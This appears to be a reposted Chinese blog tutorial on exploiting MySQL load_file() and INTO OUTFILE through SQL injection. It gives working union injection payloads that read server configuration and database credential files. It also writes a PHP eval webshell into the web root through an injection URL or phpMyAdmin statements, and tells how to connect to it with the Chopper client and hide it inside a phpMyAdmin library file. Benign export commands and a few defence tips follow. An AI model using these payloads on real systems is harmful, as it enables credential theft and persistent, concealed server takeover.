1. 程式人生 > >mysql load_file()和 into outfile

mysql load_file()和 into outfile

mysql服務器 init 數據導出 code httpd sel .com 12px host

0x00 load_file()

  • 條件:
1. 要有file_priv權限
2. 知道文件絕對路徑
3. 能使用union
4. 對web目錄有讀權限  
註:若過濾了單引號,則可以將函數中的字符進行hex編碼
  • 一般步驟

    • 讀/etc/init.d下的東西,這裏有配置文件路徑
    ?id=1‘ union select 1,2,load_file(‘/etc/init.d/httpd‘)
    
    • 得到web安裝路徑
    ?id=1‘ union select 1,2,load_file(‘/etc/apache/conf/httpd.conf‘)
    
    • 讀取密碼文件
    ?id=1‘ union select 1,2,load_file(‘/site/xxx.com/conf/conn.inc.php‘)
    

0x01 into outfile

  • 條件:
1. 要有file_priv權限  
2. 知道網站絕對路徑  
3. 要能用union  
4. 對web目錄有寫權限  
5. 沒有過濾單引號
  • 一般方法
    當知道路徑時,可以直接用?id=1 union select "<?php @eval($_POST[‘c‘]);?>" into outfile("C:/phpStudy/WWW/a.php")




  • 其他方法

    • 登陸phpMyAdmin
    use test;  選擇數據庫為test
    create table aaa(bbb varchar(64));   在數據庫中創建一個表aaa
    insert into aaa values("<?php @eval($_POST[‘c‘]);?>"); --在aaa中插入一條數據<?php @eval($_POST[‘c‘]);?>
    select * from aaa into outfile ‘C:/phpStudy/WWW/a.php‘; --將aaa中的數據導出到文件a.php
    
    • localhost:80/a.php能訪問
    drop aaa; --刪除建立的表
    
    • 然後菜刀連接
    菜刀連接http://www.aa.com/a.php,然後更改shell的名字並將shell放在較隱蔽的地方,比如C:\phpStudy\WWW\phpMyAdmin\setup\lib\common.php

1、如果MYSQL服務器就是你要導出文件的機器,那麽可以直接用select …into outfile語句。

select * from rank into outfile "/home/a.txt"

2、如果MYSQL服務器是單獨的機器,我們是在一個client上進行操作,我們要把數據結果導入到client機器上。可以使用mysql -e語句。

mysql -uroot -proot -P3306 -h10.35.13.89 dbname -e "select * from rank" > /home/a.txt

3、使用mysql的tee(T)命令,也就是把MYSQL的所有輸出都輸入到指定文件。

mysql>tee /home/a.txt
mysql>select * from rank;
mysql>exit

mysql> \T output.txt
Logging to file ‘output.txt‘
mysql> \t
Outfile disabled.

0x02 防禦

  • 數據庫連接賬號不要用root權限
  • php關閉報錯模式
  • mysql賬戶沒有權限向網站目錄寫文件

mysql load_file()和 into outfile